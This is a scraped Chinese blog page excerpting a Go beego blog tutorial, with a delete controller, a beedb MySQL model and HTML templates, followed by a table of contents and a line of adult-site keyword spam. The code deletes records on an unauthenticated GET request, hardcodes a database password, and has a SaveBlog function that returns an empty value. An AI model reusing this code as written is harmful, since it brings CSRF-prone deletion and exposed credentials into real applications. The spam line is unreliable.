type DeleteController struct {beego.Controller }func (this *DeleteController) Get() {id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"])blog := models.GetBlog(id)this.Data["Post"] = blogmodels.DelBlog(blog)this.Ctx.Redirect(302, "/") }

model層

ackage modelsimport ("database/sql""github.com/astaxie/beedb"_ "github.com/ziutek/mymysql/godrv""time" )type Blog struct {Id int `PK`Title stringContent stringCreated time.Time }func GetLink() beedb.Model {db, err := sql.Open("mymysql", "blog/astaxie/123456")if err != nil {panic(err)}orm := beedb.New(db)return orm }func GetAll() (blogs []Blog) {db := GetLink()db.FindAll(&blogs)return }func GetBlog(id int) (blog Blog) {db := GetLink()db.Where("id=?", id).Find(&blog)return }func SaveBlog(blog Blog) (bg Blog) {db := GetLink()db.Save(&blog)return bg }func DelBlog(blog Blog) {db := GetLink()db.Delete(&blog)return }

view層

layout.tpl(結構)

<html> <head><title>My Blog</title><style>#menu {width: 200px;float: right;}</style> </head> <body><ul id="menu"><li><a href="/">Home</a></li><li><a href="/new">New Post</a></li> </ul>{{.LayoutContent}}</body> </html>

index.tpl(首頁)

<h1>Blog posts</h1><ul> {{range .blogs}}<li><a href="/view/{{.Id}}">{{.Title}}</a>from {{.Created}}<a href="/edit/{{.Id}}">Edit</a><a href="/delete/{{.Id}}">Delete</a></li> {{end}} </ul>

view.tpl(這里實際上就是頁面的content部分)

<h1>{{.Post.Title}}</h1> {{.Post.Created}}<br/>{{.Post.Content}}

new.tpl(添加博客)

edit.tpl(編輯博客)

<h1>Edit {{.Post.Title}}</h1><h1>New Blog Post</h1> <form action="" method="post"> 標題:<input type="text" name="title" value="{{.Post.Title}}"><br> 內容：<textarea name="content" colspan="3" rowspan="10">{{.Post.Content}}</textarea> <input type="hidden" name="id" value="{{.Post.Id}}"> <input type="submit"> </form>

轉載于:https://my.oschina.net/chinaliuhan/blog/3083091

總結

以上是生活随笔為你收集整理的Go语言web开发学习的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。

语言
Web

上一篇：使用Volley+OkHttp+Gson
下一篇：加密算法

日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

编程问答

Go语言web开发学习

Go語言web開發學習

web基礎

http協議簡單介紹

go搭建一個web服務器(用net/http包)

Go的web運行機制

go的http包詳解

表單處理

處理表單提交的數據

驗證表單提交的數據

預防XSS跨站腳本攻擊

防止多次遞交表單

文件上傳

使用go作為客戶端,來上傳文件

數據庫操作

database/sql接口

使用MySQL數據庫

使用NOSQL數據庫

session處理

操作cookie

操作session

防止session被劫持

文本文件處理

XML處理

JSON處理

正則處理

模板處理

文件文件處理

字符串處理和轉換

Web服務

Socket編程

WebSocket

REST

RPC

安全與加密

預防CSRF攻擊

確保輸入過濾

避免XSS攻擊

避免SQL注入

存儲密碼

加密和解密數據

國際化和本地化

設置默認地區

本地化資源

國際化站點

錯誤處理(調試和測試)

錯誤處理

使用GDB調試

測試用例

部署與維護

應用日志

網站錯誤處理

應用部署

備份和恢復

如何設計一個Web框架

項目規劃

自定義路由器設計

controller設計

日志和配置設計

實現博客的增刪改

總結

如何設計一個Web框架　